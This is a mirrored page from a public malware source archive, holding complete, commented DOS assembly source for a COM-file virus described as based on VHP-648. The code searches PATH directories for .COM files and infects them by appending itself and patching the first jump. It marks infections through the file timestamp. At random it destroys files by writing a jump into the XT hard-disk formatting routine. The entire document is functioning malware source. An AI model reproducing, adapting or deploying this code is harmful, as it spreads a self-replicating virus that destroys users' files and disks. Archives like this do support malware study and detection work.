mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
332 lines
7.4 KiB
NASM
332 lines
7.4 KiB
NASM
name Virus
|
||
title Virus; based on the famous VHP-648 virus
|
||
.radix 16
|
||
code segment
|
||
assume cs:code,ds:code
|
||
org 100
|
||
environ equ 2C
|
||
|
||
start:
|
||
jmp virus
|
||
int 20
|
||
|
||
data label byte ;Data section
|
||
dtaaddr dd ? ;Disk Transfer Address
|
||
ftime dw ? ;File date
|
||
fdate dw ? ;File time
|
||
fattrib dw ? ;File attribute
|
||
saveins db 3 dup (90) ;Original first 3 bytes
|
||
newjmp db 0E9 ;Code of jmp instruction
|
||
codeptr dw ? ;Here is formed a jump to virus code
|
||
allcom db '*.COM',0 ;Filespec to search for
|
||
poffs dw ? ;Address of 'PATH' string
|
||
eqoffs dw ? ;Address of '=' sign
|
||
pathstr db 'PATH='
|
||
fname db 40 dup (' ') ;Path name to search for
|
||
|
||
;Disk Transfer Address for Find First / Find Next:
|
||
|
||
mydta label byte
|
||
drive db ? ;Drive to search for
|
||
pattern db 13d dup (?) ;Search pattern
|
||
reserve db 7 dup (?) ;Not used
|
||
attrib db ? ;File attribute
|
||
time dw ? ;File time
|
||
date dw ? ;File date
|
||
fsize dd ? ;File size
|
||
namez db 13d dup (?) ;File name found
|
||
|
||
;This replaces the first instruction of a destroyed file.
|
||
;It's a jmp instruction into the hard disk formatting program (IBM XT only):
|
||
|
||
bad_jmp db 0EA,0,0,0,0C8
|
||
errhnd dd ?
|
||
|
||
virus:
|
||
push cx ;Save CX
|
||
|
||
mov dx,offset data ;Restore original first instruction
|
||
modify equ $-2 ;The instruction above is changed
|
||
; before each contamination
|
||
cld
|
||
mov si,dx
|
||
add si,saveins-data ;Instruction saved there
|
||
mov di,offset start
|
||
mov cx,3 ;Move 3 bytes
|
||
rep movsb ;Do it
|
||
mov si,dx ;Keep SI pointed at data
|
||
|
||
mov ah,30 ;Get DOS version
|
||
int 21
|
||
cmp al,0 ;Less than 2.0?
|
||
jne skip1
|
||
jmp exit ;Exit if so
|
||
|
||
skip1:
|
||
push es ;Save ES
|
||
mov ah,2F ;Get current DTA in ES:BX
|
||
int 21
|
||
mov [si+dtaaddr-data],bx ;Save it in dtaaddr
|
||
mov [si+dtaaddr+2-data],es
|
||
|
||
mov ax,3524 ;Get interrupt 24h handler
|
||
int 21 ; and save it in errhnd
|
||
mov [si+errhnd-data],bx
|
||
mov [si+errhnd+2-data],es
|
||
pop es ;Restore ES
|
||
|
||
mov ax,2524 ;Set interrupt 24h handler
|
||
mov dx,si
|
||
add dx,handler-data
|
||
int 21
|
||
|
||
mov dx,mydta-data
|
||
add dx,si
|
||
mov ah,1A ;Set DTA
|
||
int 21
|
||
|
||
push es ;Save ES & SI
|
||
push si
|
||
mov es,ds:[environ] ;Environment address
|
||
xor di,di
|
||
n_00015A: ;Search 'PATH' in environment
|
||
pop si ;Restore data offset in SI
|
||
push si
|
||
add si,pathstr-data
|
||
lodsb
|
||
mov cx,8000 ;Maximum 32K in environment
|
||
repne scasb ;Search for first letter ('P')
|
||
mov cx,4 ;4 letters in 'PATH'
|
||
n_000169:
|
||
lodsb ;Search for next char
|
||
scasb
|
||
jne n_00015A ;If not found, search for next 'P'
|
||
loop n_000169 ;Loop until done
|
||
pop si ;Restore SI & ES
|
||
pop es
|
||
|
||
mov [si+poffs-data],di ;Save 'PATH' offset in poffs
|
||
mov bx,si ;Point BX at data area
|
||
add si,fname-data ;Point SI & DI at fname
|
||
mov di,si
|
||
jmp short n_0001BF
|
||
|
||
n_000185:
|
||
cmp word ptr [si+poffs-data],6C
|
||
jne n_00018F
|
||
jmp olddta
|
||
n_00018F:
|
||
push ds
|
||
push si
|
||
mov ds,es:[environ]
|
||
mov di,si
|
||
mov si,es:[di+poffs-data]
|
||
add di,fname-data
|
||
n_0001A1:
|
||
lodsb
|
||
cmp al,';'
|
||
je n_0001B0
|
||
cmp al,0
|
||
je n_0001AD
|
||
stosb
|
||
jmp n_0001A1
|
||
n_0001AD:
|
||
xor si,si
|
||
n_0001B0:
|
||
pop bx
|
||
pop ds
|
||
mov [bx+poffs-data],si
|
||
cmp byte ptr [di-1],'\'
|
||
je n_0001BF
|
||
mov al,'\' ;Add '\' if not already present
|
||
stosb
|
||
|
||
n_0001BF:
|
||
mov [bx+eqoffs-data],di ;Save '=' offset in eqoffs
|
||
mov si,bx ;Restore data pointer in SI
|
||
add si,allcom-data
|
||
mov cl,6 ;6 bytes in ASCIIZ '*.COM'
|
||
rep movsb ;Move '*.COM' at fname
|
||
mov si,bx ;Restore SI
|
||
|
||
mov ah,4E ;Find first file
|
||
mov dx,fname-data
|
||
add dx,si
|
||
mov cl,11b ;Hidden, Read/Only or Normal files
|
||
int 21
|
||
jmp short n_0001E3
|
||
|
||
findnext:
|
||
mov ah,4F ;Find next file
|
||
int 21
|
||
n_0001E3:
|
||
jnc n_0001E7 ;If found, try to contaminate it
|
||
jmp n_000185 ;Otherwise search in another directory
|
||
|
||
n_0001E7:
|
||
mov ax,[si+time-data] ;Check file time
|
||
and al,11111b ; (the seconds, more exactly)
|
||
cmp al,62d/2 ;Are they 62?
|
||
|
||
;If so, file is already contains the virus, search for another:
|
||
|
||
je findnext
|
||
|
||
;Is file size greather than 64,000 bytes?
|
||
|
||
cmp [si+fsize-data],64000d
|
||
ja findnext ;If so, search for next file
|
||
|
||
;Is file size less than 10 bytes?
|
||
|
||
cmp word ptr [si+fsize-data],10d
|
||
jb findnext ;If so, search for next file
|
||
|
||
mov di,[si+eqoffs-data]
|
||
push si ;Save SI
|
||
add si,namez-data ;Point SI at namez
|
||
n_000209:
|
||
lodsb
|
||
stosb
|
||
cmp al,0
|
||
jne n_000209
|
||
|
||
pop si ;Restore SI
|
||
mov ax,4300 ;Get file attributes
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
|
||
mov [si+fattrib-data],cx ;Save them in fattrib
|
||
mov ax,4301 ;Set file attributes
|
||
and cl,not 1 ;Turn off Read Only flag
|
||
int 21
|
||
|
||
mov ax,3D02 ;Open file with Read/Write access
|
||
int 21
|
||
jnc n_00023E
|
||
jmp oldattr ;Exit on error
|
||
|
||
n_00023E:
|
||
mov bx,ax ;Save file handle in BX
|
||
mov ax,5700 ;Get file date & time
|
||
int 21
|
||
mov [si+ftime-data],cx ;Save time in ftime
|
||
mov [si+fdate-data],dx ;Save date in fdate
|
||
|
||
mov ah,2C ;Get system time
|
||
int 21
|
||
and dh,111b ;Are seconds a multiple of 8?
|
||
jnz n_000266 ;If not, contaminate file (don't destroy):
|
||
|
||
;Destroy file by rewriting an illegal jmp as first instruction:
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cx,5 ;Write 5 bytes
|
||
mov dx,si
|
||
add dx,bad_jmp-data ;Write THESE bytes
|
||
int 21 ;Do it
|
||
jmp short oldtime ;Exit
|
||
|
||
;Try to contaminate file:
|
||
|
||
;Read first instruction of the file (first 3 bytes) and save it in saveins:
|
||
|
||
n_000266:
|
||
mov ah,3F ;Read from file handle
|
||
mov cx,3 ;Read 3 bytes
|
||
mov dx,saveins-data ;Put them there
|
||
add dx,si
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
cmp ax,3 ;Are really 3 bytes read?
|
||
jne oldtime ;Exit if not
|
||
|
||
;Move file pointer to end of file:
|
||
|
||
mov ax,4202 ;LSEEK from end of file
|
||
xor cx,cx ;0 bytes from end
|
||
xor dx,dx
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
|
||
mov cx,ax ;Get the value of file pointer (file size)
|
||
add ax,virus-data-3 ;Add virus data length to get code offset
|
||
mov [si+codeptr-data],ax ;Save result in codeptr
|
||
inc ch ;Add 100h to CX
|
||
mov di,si
|
||
add di,modify-data ;A little self-modification
|
||
mov [di],cx
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cx,endcode-data ;Virus code length as bytes to be written
|
||
mov dx,si ;Write from data to endcode
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
cmp ax,endcode-data ;Are all bytes written?
|
||
jne oldtime ;Exit if not
|
||
|
||
mov ax,4200 ;LSEEK from the beginning of the file
|
||
xor cx,cx ;Just at the file beginning
|
||
xor dx,dx
|
||
int 21
|
||
jc oldtime ;Exit on error
|
||
|
||
;Rewrite the first instruction of the file with a jump to the virus code:
|
||
|
||
mov ah,40 ;Write to file handle
|
||
mov cl,3 ;3 bytes to write
|
||
mov dx,si
|
||
add dx,newjmp-data ;Write THESE bytes
|
||
int 21
|
||
|
||
oldtime:
|
||
mov dx,[si+fdate-data] ;Restore file date
|
||
mov cx,[si+ftime-data] ; and time
|
||
and cl,not 11111b
|
||
or cl,11111b ;Set seconds to 62 (?!)
|
||
|
||
mov ax,5701 ;Set file date & time
|
||
int 21
|
||
mov ah,3E ;Close file handle
|
||
int 21
|
||
|
||
oldattr:
|
||
mov ax,4301 ;Set file attributes
|
||
mov cx,[si+fattrib-data] ;They were saved in fattrib
|
||
mov dx,fname-data
|
||
add dx,si
|
||
int 21
|
||
|
||
olddta:
|
||
push ds ;Save DS
|
||
mov ah,1A ;Set DTA
|
||
mov dx,[si+dtaaddr-data] ;Restore saved DTA
|
||
mov ds,[si+dtaaddr+2-data]
|
||
int 21
|
||
|
||
mov ax,2524 ;Set interrupt 24h handler
|
||
mov dx,[si+errhnd-data] ;Restore saved handler
|
||
mov ds,[si+errhnd+2-data]
|
||
int 21
|
||
pop ds ;Restore DS
|
||
|
||
exit:
|
||
pop cx ;Restore CX
|
||
xor ax,ax ;Clear registers
|
||
xor bx,bx
|
||
xor dx,dx
|
||
xor si,si
|
||
mov di,100 ;Jump to CS:100
|
||
push di ; by doing funny RET
|
||
xor di,di
|
||
ret -1
|
||
|
||
handler: ;Critical error handler
|
||
mov al,0 ;Just ignore error
|
||
iret ; and return
|
||
endcode label byte
|
||
|
||
code ends
|
||
end start
|
||
|